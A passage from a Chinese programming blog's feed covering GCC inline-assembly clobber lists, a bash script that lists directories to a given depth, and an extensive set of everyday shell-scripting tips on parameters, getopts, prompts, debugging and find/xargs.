式使用了"m"约束，以指定内存地址s处的内容发生了改变。所以在其Clobber/Modify域使用"memory"向GCC声明：内存内容发生了变 动。<br /><br />如果一个内联汇编语句的Clobber/Modify域存在"memory"，那么GCC会保证在此内联汇编之前，如果某个内存的内 容被装入了寄存器，那么在这个内联汇编之后，如果需要使用这个内存处的内容，就会直接到这个内存处重新读取，而不是使用被存放在寄存器中的拷贝。因为这个 时候寄存器中的拷贝已经很可能和内存处的内容不一致了。<br /><br />这只是使用"memory"时，GCC会保证做到的一点，但这并不是全部。因为使用"memory"是向GCC声明内存发生了变化，而内存发生变化带来的影响并不止这一点。比如我们在前面讲到的例子：<br /><br />int main(int __argc, char* __argv[]) <br />{ <br />int* __p = (int*)__argc; <br /><br />(*__p) = 9999; <br /><br />__asm__("":::"memory"); <br /><br />if((*__p) == 9999) <br />return 5; <br /><br />return (*__p); <br />}<br /><br />本 例中，如果没有那条内联汇编语句，那个if语句的判断条件就完全是一句废话。GCC在优化时会意识到这一点，而直接只生成return 5的汇编代码，而不会再生成if语句的相关代码，而不会生成return (*__p)的相关代码。但你加上了这条内联汇编语句，它除了声明内存变化之外，什么都没有做。但GCC此时就不能简单的认为它不需要判断都知道 (*__p)一定与9999相等，它只有老老实实生成这条if语句的汇编代码，一起相关的两个return语句相关代码。<br /><br />当一个内联汇编 指令中包含影响eflags寄存器中的条件标志（也就是那些Jxx等跳转指令要参考的标志位，比如，进位标志，0标志等），那么需要在 Clobber/Modify域中使用"cc"来声明这一点。这些指令包括adc, div，popfl，btr，bts等等，另外，当包含call指令时，由于你不知道你所call的函数是否会修改条件标志，为了稳妥起见，最好也使用 "cc"。<br /><br />我很少在相关资料中看到有关"cc"的确切用法，只有一份文档提到了它，但还不是i386平台的，只是说"cc"是处理器平台 相关的，并非所有的平台都支持它，但即使在不支持它的平台上，使用它也不会造成编译错误。我做了一些实验，但发现使用"cc"和不使用"cc"所生成的代 码没有任何不同。但Linux 2.4的相关代码中用到了它。如果谁知道在i386平台上"cc"的细节，请和我联系。<br /><br />另外，还可以在 Clobber/Modify域指定数字0到9，以声明第n个Input/Output操作表达式所使用的寄存器发生了变化，但正如我们在前面所提到的， 如果你为某个Input/Output操作表达式指定了寄存器，或使用"g","r"等约束让GCC为其选择寄存器，GCC已经知道哪个寄存器内容发生了 变化，所以这么做没有什么意义；我也作了相关的试验，没有发现使用它会对GCC生成的汇编代码有任何影响，至少在i386平台上是这样。Linux 2.4的所有i386平台相关内联汇编代码中都没有使用这一点，但S390平台相关代码中有用到，但由于我对S390汇编没有任何概念，所以，也不知道这么做的意义何在。</font></font></div></td></tr></tbody></table><br /><img src ="http://www.blogjava.net/bacoo/aggbug/377107.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2012-05-01 12:35 <a href="http://www.blogjava.net/bacoo/archive/2012/05/01/377107.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>列出某目录下的所有目录并且可以自由控制深度的脚本</title><link>http://www.blogjava.net/bacoo/archive/2009/07/18/287255.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Sat, 18 Jul 2009 08:44:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2009/07/18/287255.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/287255.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2009/07/18/287255.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/287255.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/287255.html</trackback:ping><description><![CDATA[#!/bin/bash<br />
<br />
[ $# -gt 2 ] &amp;&amp; {<br />
&nbsp;&nbsp;&nbsp; echo "Usage: ${0##*/} &lt;dir=.&gt; &lt;deep=1&gt;"<br />
&nbsp;&nbsp;&nbsp; exit 1<br />
}<br />
<br />
TOP=0<br />
QUEUELIST[${#QUEUELIST[@]}]=`cd ${1:-.};pwd`<br />
DEEPMAX=${2:-1}<br />
DEEP=0<br />
#The number of directories in the upper directory(DEEP-1)<br />
X=1<br />
#The number of directories in the next directory(DEEP+1)<br />
Y=0<br />
#The number of directories scanned in the current directory(DEEP)<br />
Z=0<br />
while [ $TOP -ne ${#QUEUELIST[@]} ]<br />
do<br />
&nbsp;&nbsp;&nbsp; curdir=${QUEUELIST[$TOP]}<br />
&nbsp;&nbsp;&nbsp; cd $curdir<br />
&nbsp;&nbsp;&nbsp; ((TOP++))<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; for list in `ls`<br />
&nbsp;&nbsp;&nbsp; do<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if [ -d $list ]<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo $curdir/$list<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; QUEUELIST[${#QUEUELIST[@]}]=$curdir/$list<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((Y++))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fi<br />
&nbsp;&nbsp;&nbsp; done<br />
&nbsp;&nbsp;&nbsp; ((Z++))<br />
&nbsp;&nbsp;&nbsp; if [ $Z -eq $X ];then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((DEEP++))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if [ $DEEP -eq $DEEPMAX ];then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fi<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; X=$Y<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Y=0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Z=0<br />
&nbsp;&nbsp;&nbsp; fi<br />
done<br />
<br />
说明： 其实用find就可以，只要指定-maxdepth即可，这里只为练练手<br />
<img src ="http://www.blogjava.net/bacoo/aggbug/287255.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2009-07-18 16:44 <a href="http://www.blogjava.net/bacoo/archive/2009/07/18/287255.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Shell编程积累</title><link>http://www.blogjava.net/bacoo/archive/2009/06/16/282493.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Mon, 15 Jun 2009 16:37:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2009/06/16/282493.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/282493.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2009/06/16/282493.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/282493.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/282493.html</trackback:ping><description><![CDATA[ls -lr反向排序结果<br />
==============================<br />
ls ${PATH//:/\ } | grep &lt;searchword&gt;<br />
==============================<br />
echo $RANDOM<br />
==============================<br />
[[ $# -ne 3 ]] &amp;&amp; {echo "Usage: ${0##.*/} &lt;param&gt;"; exit 1}<br />
==============================<br />
awk '/'$VAR'/{print $0}' file<br />
==============================<br />
#得到绝对路径<br />
bin=`dirname "$0"`<br />
bin=`cd "$bin"; pwd`<br />
==============================<br />
echo $[23*34] &lt;==&gt; echo $((23*34))<br />
==============================<br />
echo $[7#23] #7是底，23是在这个底上的数字，因此最终的结果为17<br />
==============================<br />
echo ${!P*} #列出当前变量中，所有以P开头的变量的名称<br />
==============================<br />
shell的处理过程：alias la='ls -A'-&gt;{1..100}-&gt;~admin-&gt;$PATH-&gt;$(ls)-&gt;$((23*34))-&gt;rm a*o?[a-zA-Z]*<br />
==============================<br />
#下面这种处理方式等同于for f in "$(ls)"，但是可以应对文件名中有空格的情况，而for f in "$(ls)"则不行。<br />
[ $# -eq 0 ] &amp;&amp; ls | while read f<br />
do<br />
&nbsp;&nbsp;&nbsp; ll-2.sh "$f"<br />
done<br />
==============================<br />
可以在一行内定义一个函数，写在shell脚本里可以，还可以直接写在命令行上，比如：<br />
root@pc1:~#testfunc(){ echo "$# parameters;echo "$@";}<br />
而且，如果你在命令行直接这么定义的，你想查看该函数的内容时，可以用type testfunc，你会看到：<br />
testfunc is a function<br />
testfunc () <br />
{ <br />
&nbsp;&nbsp;&nbsp; echo "$# params";<br />
&nbsp;&nbsp;&nbsp; IFS=;<br />
&nbsp;&nbsp;&nbsp; echo "$*"<br />
}<br />
需要特别注意的是：{和echo之间的那个空格，其他地方有没有空格无所谓，但是这个空格如果没有的话，是必然会出错的；还有个地方是}前面那条命令的;必须有，否则也会有问题；最后，还需要提醒的是，如果你不是写在一行内，那么}前的;不必有，{后的空格也不必有。<br />
===============================<br />
对$*和$@作些说明：<br />
其实要分四种情况：$*, $@, "$*", "$@"<br />
对于前两种情况，都等同于$1 $2 $3 ...，如果某个参数内有了空格或者换行（不要觉得不可能，参数中是可以有换行符的，下面就有例子），比如a "b c" d，那么替换后的结果是a b c d，看上去就是四个参数了；<br />
对于"$@"，等同于"$1" "$2" "$3" ...，这下就不必担心参数中有空格或者换行符号了；<br />
对于"$*"，还要受到IFS的影响，其实是IFS中的第一个字符的影响，假定IFS中第一个字符是|的话，那么替换后的结果是"$1|$2|$3..."；这里对IFS还得作下说明，如果 IFS 为空，则没有间隔空格。IFS 的默认值是空白、制表符和换行符。如果没有设置 IFS，则使用空白作为分隔符（仅对默认 IFS 而言），这里特别提到的是，如果你想把参数都串接起来，那么必须得显示设置IFS=''或者IFS=""或者IFS=即可。<br />
下面给出一个验证上述描述的超级牛b的例子：<br />
[ian@pinguino ~]$ type testfunc2<br />
testfunc2 is a function<br />
testfunc2 ()<br />
{<br />
&nbsp;&nbsp;&nbsp; echo "$# parameters";<br />
&nbsp;&nbsp;&nbsp; echo Using '$*';<br />
&nbsp;&nbsp;&nbsp; for p in $*;<br />
&nbsp;&nbsp;&nbsp; do<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo "[$p]";<br />
&nbsp;&nbsp;&nbsp; done;<br />
&nbsp;&nbsp;&nbsp; echo Using '"$*"';<br />
&nbsp;&nbsp;&nbsp; for p in "$*";<br />
&nbsp;&nbsp;&nbsp; do<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo "[$p]";<br />
&nbsp;&nbsp;&nbsp; done;<br />
&nbsp;&nbsp;&nbsp; echo Using '$@';<br />
&nbsp;&nbsp;&nbsp; for p in $@;<br />
&nbsp;&nbsp;&nbsp; do<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo "[$p]";<br />
&nbsp;&nbsp;&nbsp; done;<br />
&nbsp;&nbsp;&nbsp; echo Using '"$@"';<br />
&nbsp;&nbsp;&nbsp; for p in "$@";<br />
&nbsp;&nbsp;&nbsp; do<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo "[$p]";<br />
&nbsp;&nbsp;&nbsp; done<br />
}<br />
<br />
[ian@pinguino ~]$ IFS="|${IFS}" testfunc2 abc "a bc" "1 2<br />
&gt; 3"<br />
3 parameters<br />
Using $*<br />
[abc]<br />
[a]<br />
[bc]<br />
[1]<br />
[2]<br />
[3]<br />
Using "$*"<br />
[abc|a bc|1 2<br />
3]<br />
Using $@<br />
[abc]<br />
[a]<br />
[bc]<br />
[1]<br />
[2]<br />
[3]<br />
Using "$@"<br />
[abc]<br />
[a bc]<br />
[1 2<br />
3]<br />
看到参数中使用换行符号了吧，哈哈。<br />
===============================<br />
函数返回值return 0~255必须为一个整数，而且范围只能是0~255，如果大于255，那么会返回$((x%256))，而且不能返回负数，但是允许你写负数，负数会被强制转换成整数。<br />
===============================<br />
#!/bin/sh会提供系统默认的shell解释器，会带来一些想不到的异常情况，建议都使用#!/bin/bash，在bash中定义函数时function关键字是可选的。<br />
===============================<br />
#!/bin/bash<br />
<br />
showopts () {<br />
&nbsp; while getopts ":pq:" optname<br />
&nbsp;&nbsp;&nbsp; do<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case "$optname" in<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "p")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo "Option $optname is specified"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "q")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo "Option $optname has value $OPTARG"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "?")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo "Unknown option $OPTARG"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ":")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo "No argument value for option $OPTARG"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Should not occur<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo "Unknown error while processing options"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; esac<br />
&nbsp;&nbsp;&nbsp; done<br />
&nbsp; return $OPTIND<br />
}<br />
<br />
showargs () {<br />
&nbsp; for p in "$@"<br />
&nbsp;&nbsp;&nbsp; do<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo "[$p]"<br />
&nbsp;&nbsp;&nbsp; done<br />
}<br />
<br />
optinfo=$(showopts "$@")<br />
argstart=$?<br />
arginfo=$(showargs "${@:$argstart}")<br />
echo "Arguments are:"<br />
echo "$arginfo"<br />
echo "Options are:"<br />
echo "$optinfo"<br />
<br />
&nbsp;getopts 命令使用了两个预先确定的变量。OPTIND 变量开始被设为 1。之后它包含待处理的下一个参数的索引。如果找到一个选项，则 getopts 命令返回 true，因此常见的选项处理范例使用带 case 语句的 while 循环，本例中就是如此。getopts 的第一个参数是一列要识别的选项字母，在本例中是 p 和 r。选项字母后的冒号 (:) 表示该选项需要一个值；例如，-f 选项可能用于表示文件名，tar 命令中就是如此。此例中的前导冒号告诉 getopts 保持静默（silent）并抑制正常的错误消息，因为此脚本将提供它自己的错误处理。<br />
<br />
此例中的第二个参数 optname 是一个变量名，该变量将接收找到选项的名称。如果预期某个选项应该拥有一个值，而且目前存在该值，则会把该值放入 OPTARG 变量中。在静默模式下，可能出现以下两种错误情况。<br />
<br />
&nbsp;&nbsp; 1. 如果发现不能识别的选项，则 optname 将包含一个 ? 而 OPTARG 将包含该未知选项。<br />
&nbsp;&nbsp; 2. 如果发现一个选项需要值，但是找不到这个值，则 optname 将包含一个 : 而 OPTARG 将包含丢失参数的选项的名称。<br />
<br />
如果不是在静默模式，则这些错误将导致一条诊断错误消息而 OPTARG 不会被设置。脚本可能在 optname 中使用 ? 或 : 值来检测错误（也可能处理错误）。<br />
此外，getopts ":pq:" optname后面还可以配置上可选的getopts ":pq:" optname "$@"<br />
<br />
[ian@pinguino ~]$ ./testargs.sh -p -q qoptval abc "def ghi"<br />
Arguments are:<br />
[abc]<br />
[def ghi]<br />
Options are:<br />
Option p is specified<br />
Option q has value qoptval<br />
[ian@pinguino ~]$ ./testargs.sh -q qoptval -p -r abc "def ghi"<br />
Arguments are:<br />
[abc]<br />
[def ghi]<br />
Options are:<br />
Option q has value qoptval<br />
Option p is specified<br />
Unknown option r<br />
[ian@pinguino ~]$ ./testargs.sh "def ghi"<br />
Arguments are:<br />
[def ghi]<br />
Options are:<br />
===============================<br />
父shell设置的alias是不能传到子shell中的，但是在shell script中依然可以使用alias，不过要自己手动设定了，然后还要注意在脚本中显示开启alias的使用，即 shopt -s expand_aliases；有时候会希望alias能带参数就好了，其实可以用函数代替即可，在.bashrc中增加：cpdev1(){ [ $# -eq 1 ] &amp;&amp; scp $1 yanbin@dev1.asc.cnz.alimama.com: ; }，具体啥意思，自己去琢磨吧。<br />
===============================<br />
while [ "${i:-1}" -lt 30 ];do a="-"${a:="-"};((i++));done &amp;&amp; echo $a<br />
知识点：while的条件，不新建变量还能正常使用，while是个整体，可以有返回值，可以重定向其输出<br />
===============================<br />
如果想实现对shell变量的二次解析，那么可以用eval完成，例如：eval cd "\"\$$#\""<br />
===============================<br />
for var in "$@"; &lt;==&gt; for var;<br />
===============================<br />
在shell总一般extglob都是开着的，你可以用shopt查看一下，如果没开你可以用shopt -s extglob设置一下，在这个选项打开的状态下，我们可以使用一些扩展的glob选项，在shell中是这么使用的：<br />
?(pattern-list)Matches zero or one occurrence of the given patterns<br />
*(pattern-list)Matches zero or more occurrences of the given patterns<br />
+(pattern-list)Matches one or more occurrences of the given patterns<br />
@(pattern-list)Matches one of the given patterns<br />
!(pattern-list)Matches anything except one of the given patterns<br />
===============================<br />
find . -regextype posix-extended -regex '.*\.(h|cpp)'<br />
===============================<br />
findc(){ [ $# -eq 1 ] &amp;&amp; compgen -c | grep --color=auto -i $1; }<br />
===============================<br />
在.bashrc中添加：export PS1='\[\e[1;32;40m\]\u@\h:\w\$ '达到的效果：绿色高亮显示，且折行时不会在同一行，如果去掉\[和\]则会在同一行折行。<br />本人目前在用的一个PS1是：export PS1='\[\e[0;35m\]&gt;&gt;&gt;&gt;[\[\e[0;33m\]\t\[\e[0;35m\]][\[\e[0;31m\]\u@\h\[\e[0;35m\]:\[\e[0;33m\]\[\e[0;34m\]\w\[\e[0;35m\]]\n\[\e[1;$((31+3*!$?))m\]\$ \[\e[0;32m\]' ，这个PS1会换行，而且新行的开始部分（$或者#）会显示红色高亮（上次的命令执行失败）或者蓝色高亮（上次的命令执行正常）。<br />对于配色，可以参考：<br />
&nbsp;&nbsp; <font class="f14" id="zoom">前景&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;背景&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;颜色 <br />
&nbsp;&nbsp;&nbsp;--------------------------------------- <br />
&nbsp;&nbsp;&nbsp;30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;黑色 <br />
&nbsp;&nbsp;&nbsp;31&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;41&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;紅色 <br />
&nbsp;&nbsp;&nbsp;32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;42&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;綠色 <br />
&nbsp;&nbsp;&nbsp;33&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;43&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;黃色 <br />
&nbsp;&nbsp;&nbsp;34&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;44&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;藍色 <br />
&nbsp;&nbsp;&nbsp;35&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;45&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;紫紅色 <br />
&nbsp;&nbsp;&nbsp;36&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;46&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;青藍色 <br />
&nbsp;&nbsp;&nbsp;37&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;47&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;白色 <br />
<br />
&nbsp;&nbsp;&nbsp;代码&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;意义 <br />
&nbsp;&nbsp;&nbsp;------------------------- <br />
&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OFF <br />
&nbsp;&nbsp;&nbsp;1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;高亮显示 <br />
&nbsp;&nbsp;&nbsp;4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;underline <br />
&nbsp;&nbsp;&nbsp;5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;闪烁 <br />
&nbsp;&nbsp;&nbsp;7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;反白显示 <br />
&nbsp;&nbsp;&nbsp;8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;不可见<br />
此外，我在ubuntu上设置了上述PS1之后，当我在终端里打开vi再关闭vi之后，发现命令行出现了乱码，此时输入reset即可恢复正常，此后再使用vi将不再出现乱码，不过每次都这么搞一通实在是不爽，不知道在其他发行版上会不会有这个问题。<br />
现在终于解决了这个问题，有两种方法，一种可以在虚拟终端的title设置中给原先的终端二字前后分别添加一个英文空格即可；另一种方法是重新设置PS1为\[\e]0;\u@\h: \w\a\]\[\e[1;31m\]\u\[\e[1;32m\]@\h\[\e[1;31m\]:\[\e[1;32m\]\w\[\e[1;31m\]\$ \[\e[0m\]<br />
==========================<br />
echo "export LS_COLORS='$LS_COLORS'" &gt;&gt; .bashrc之后打开.bashrc，将di=01;34改为di=01;33即可使得目录以黄色显示<br />
==========================<br />
shell脚本调试，可以先设置</font>export PS4='+{$LINENO:${FUNCNAME[0]}} '，再<font class="f14" id="zoom">用sh -x来执行脚本，即可在+号后面打印行号和函数名；使用trap&nbsp; &lt;cmd&gt; DEBUG/ERR/EXIST可以分别在执行每一行前/某个命令返回值不为0时／函数或程序退出时执行cmd；可以在脚本里面的脚本段落前后分别用sh -x和sh +x来使得只有该段落的内容执行sh -x；</font>可以通过变量DEBUG作为开关来统一控制调试与否，当然需要有个函数，比如也叫做DEBUG的话，那这个函数的定义大概为：DEBUG() { [ "$DEBUG" = "true" ] &amp;&amp; $@ ; }，然后你就可以肆无忌惮的DEBUG echo $a,$b或者在一段落前后分别加上DEBUG set -x和DEBUG set +x来进行控制了；还可以使用类似于Gdb调试的bash调试工具bashdb，官网地址为：http://bashdb.sourceforge.net/；上述总结来自于http://www.ibm.com/developerworks/cn/linux/l-cn-shell-debug/index.html<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
export HISTTIMEFORMAT="%Y-%m-%d %H:%M:%S "可以让history显示出执行的时间<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
date -d "1970-01-01 0:0:0 UTC `date +%s` sec" +'%F %T' 可以将时间戳转换为指定的时间表示形式<br />用date -d @1313418365 +%F\ %T也可以实现将时间戳转换为指定的时间格式<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
find . \( -path './rrds*' -o -path './bash*' \) -prune -o -maxdepth 3 -name '*m*' -printf '%f\n'<br />
该命令实现的功能是查找当前目录下，除了rrds*和bash*文件夹之外的名字中含有m字符的且深度不超过3层的, 将符合上述条件的目录或文件名打印出来, 不打印全部路径, 只打印文件名或目录名. 写该命令时需要注意的几点:\(和-path之间以及\)之前都必须有空格;针对path或name定义它们需要符合的pattern时必须要./开头或者*开头,因为这里的匹配都是全匹配,而不是包含即可的意思. 对该命令的几点解释:find查找文件名或目录名(其实目录也是文件)符合pattern所有项, 如果只是中间路径中含有pattern, 并不能保证该目录下的所有文件都能和pattern匹配,因为匹配发生在整个路径的最后,也就是文件名或目录名上;prune本意为删除或砍掉的意思,基本上可以理解为和print恰恰相反即可,它们都是action,find命令其实类似于一个复合的if语句, action前面的默认连接是使用-a(即and的意思, 类似于我们常见的command1 &amp;&amp; command2 || command3中的&amp;&amp;的作用), 当然也可以显示的指定-o(即or的意思, 类似于||的作用), 既然谈到了and和or，那么自然就有not了，在find命令里，not是!，举个例子就清楚了：find . ! -name '*.sh'会找到所有不是以.sh结尾的文件, 此外还有就是通过\(和\)能够把一些复合起来的条件作为一个整体, 因此对于该条命令, 执行过程是这样的, if ( -path './rrds*' &amp;&amp; -path './bash*' ); then -prune else { if (-maxdepth 3 &amp;&amp; -name '*m*' ); then -printf '%f\n' fi } fi<br />
此外对于find命令, 最常用的几个参数是 -type和-name,其实还有-iname(忽略大小写的匹配), 还有-regex和-iregex,注意-name只是用基本的shell的pattern,即*,?,[]三种, 如果真想用正则来匹配,还是用-regex吧; 此外对于find最神奇的莫过于-exec或者-ok或者xargs了,这里给出两个例子即可:<br />
find . -name '*my*' -exec rm '{}' \;&nbsp;&nbsp; &lt;==&gt;&nbsp; find . -name '*my*' | xargs rm <br />
find. -name '*my*' -exec cp '{}' ~ \;&nbsp;&nbsp; &lt;==&gt; find . -name '*my*' | xargs -i cp '{}' ~<br />
对于rm这种单参数的命令, find找到的结果直接会塞给rm的; 对于cp这种双参数的命令, 可以用'{}'这个东西来代表find找到的部分, 但对于xargs中需要注意使用-i参数, 该参数其实和-I参数作用是一样的,但是特别之处在于当不指定replace-str时, -i这个参数会把{}作为replace-str, 因此使用-i就用经管道|过来的标准输入去替换{},因此cp命令就生效了.<br />
